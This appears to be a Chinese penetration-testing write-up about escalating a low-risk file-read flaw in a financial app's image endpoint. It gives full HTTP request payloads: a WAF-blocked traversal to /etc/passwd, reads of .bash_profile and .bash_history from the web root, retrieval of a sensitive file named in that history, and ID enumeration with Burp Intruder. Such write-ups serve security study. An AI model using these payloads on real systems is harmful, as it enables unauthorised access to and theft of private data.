在授權(quán)測試某金融類APP時,發(fā)現(xiàn)一個雞肋低危文件讀取漏洞,嘗試將其升級為高危。
PS:本文僅用于技術(shù)討論與分析,嚴(yán)禁用于任何非法用途,違者后果自負(fù)。
0x00 初步探測
發(fā)現(xiàn)首次打開APP時,會向服務(wù)器讀取文件加載并展示圖片。
測試時一定要細(xì)心,筆者發(fā)現(xiàn)只有首次打開APP時,才會加載圖片,后面再打開應(yīng)該是資源已被記錄,就不會向服務(wù)器再次進(jìn)行請求了。

此加載展示圖片的GET請求數(shù)據(jù)包如下:

GET /ixxx/LgonImage.do?XxxxxImageDir=/XXXXX/Pictures&SaveXxxxxImageName=this_is_image.jpg HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
拿到這個數(shù)據(jù)包的第一反應(yīng),以往的滲透測試經(jīng)驗告訴我,從這個地方大概路會存在文件讀取漏洞。
分析并猜測功能點(diǎn)URI的每個參數(shù)的功能。
LogonImageDir=/XXXXX/Pictures - 圖片所在的目錄
SaveXxxxxImageName=this_is_image.jpg - 目錄下的圖片名
0x01 漏洞測試
既然已經(jīng)初步探測到了可能存在漏洞的風(fēng)險點(diǎn),并且文件讀取功能的參數(shù)已經(jīng)搞清楚,下一步就展開讀取測試。
首先測試,是否可以進(jìn)行目錄列出,直接將SaveXxxxxImageName參數(shù)置空,看看是否可以讀取/XXXXX/Pictures目錄下的內(nèi)容:
GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures&SaveXxxxxImageName= HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
返回為“空”,失敗,說明程序功能點(diǎn)不存在列出目錄漏洞:

測試是否可以跳出目錄,選用Payload如下:
GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures/../../../../../../etc/&SaveXxxxxImageName=passwd HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
返回某恒防火墻攔截界面,失?。?/span>


接下來進(jìn)一步測試,是/etc/passwd觸發(fā)的WAF,還是/../觸發(fā)的WAF。
測試只進(jìn)行一層目錄跳出,并且刪除/etc/passwd關(guān)鍵字:
GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures/../&SaveXxxxxImageName= HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
唔...看來/../的特殊字符就已經(jīng)觸發(fā)了WAF:

之后想到嘗試對數(shù)據(jù)包進(jìn)行POST類型轉(zhuǎn)換,使用POST傳參的一些方式進(jìn)行WAF的測試,如:
URL編碼
分塊傳輸
臟數(shù)據(jù)填充
包體轉(zhuǎn)換
畸形數(shù)據(jù)包
......
但是無奈,POST請求直接無法傳參,程序限制了GET請求接收參數(shù)。
(不過,后來測試其他POST傳參的功能時,發(fā)現(xiàn)以筆者現(xiàn)有的WAF繞過經(jīng)驗思路,根本無法對某恒的WAF進(jìn)行繞過.....)
0x02 漏洞確認(rèn)
總結(jié)以上對此文件讀取漏洞收集到的信息:
目錄無法跨越,并且文件讀取的路徑在當(dāng)前根目錄;
特殊字符串,已被WAF完美防護(hù)?。?/span>
無法獲取目錄下的文件名、無法預(yù)知是否可以讀取其他后綴文件。
測試到這里突然靈光一閃,想到了“.bash_history”,如果網(wǎng)站根目錄存在此文件,并且可以讀取,上面的疑問就可以直接解決大半了,先來了解一下這些文件作用:
.bash_profile:此文件為系統(tǒng)的每個用戶設(shè)置環(huán)境信息,當(dāng)用戶第一次登錄時,該文件被執(zhí)行。
.bash_history:該文件保存了當(dāng)前用戶輸入過的歷史命令;
.bash_logout:該文件的用途是用戶注銷時執(zhí)行的命令,默認(rèn)為空;
.bashrc:此文件為每一個運(yùn)行bash shell的用戶執(zhí)行此文件。當(dāng)bash shell被打開時,該文件被讀取。
于是直接對網(wǎng)站根目錄進(jìn)行.bash_profile的盲測:
GET /ixxx/LogonImage.do?XxxxxImageDir=/&SaveXxxxxImageName=.bash_profile HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
此payload既避免了跳出目錄,又避開了WAF嚴(yán)打的特殊字符,但是唯一遺漏的.bash文件被我們利用到了。

激動的心顫抖的手,看來當(dāng)前網(wǎng)站根目錄確實是此用戶的目錄,并且用戶在此根目錄下執(zhí)行過命令!
接下來嘗試進(jìn)一步擴(kuò)大危害。
0x03 危害升級
不清楚當(dāng)前目錄結(jié)構(gòu),就代表著無法定向讀取文件,但是還有一個.bash_history我們沒有利用到,看看是否可以在其中獲取到更重要的信息。
讀取根目錄下的.bash_history:
GET /ixxx/LogonImage.do?XxxxxImageDir=/&SaveXxxxxImageName=.bash_history HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
信息量雖然少,但是已經(jīng)有了新的進(jìn)展:

由歷史命令得知,管理員cd進(jìn)入了兩層目錄:/Nxxxx/xxFile/
并且查看了xx_20201022_51xxx.txt文件。
直接構(gòu)造讀取此文件!
GET /ixxx/LogonImage.do?XxxxxImageDir=/Nxxxx/xxFile&SaveXxxxxImageName=xx_20201022_51xxx.txt HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
成功讀取到了敏感的數(shù)據(jù)信息:

并且文件的ID值為時間戳+ID順序編號組成,可輕松遍歷出全部的信息。
Burpsuite Intruder模塊測試:

嘗試遍歷10個ID值成功。
0x04 回首總結(jié)
存在的難題:目錄無法跨越、WAF盯防、無法預(yù)知目錄文件結(jié)構(gòu)。
在此情況下,利用Linux文件系統(tǒng)特性,仍然可以將低危漏洞提升至高危。
并且危害的等級高低是無法預(yù)估的,這取決于.bash_history會給我們泄露多少信息,所以文件讀取漏洞存在時間越久,記錄的東西越多,危害越大!
- 關(guān)鍵詞標(biāo)簽:
- 網(wǎng)絡(luò)安全 文件讀取漏洞,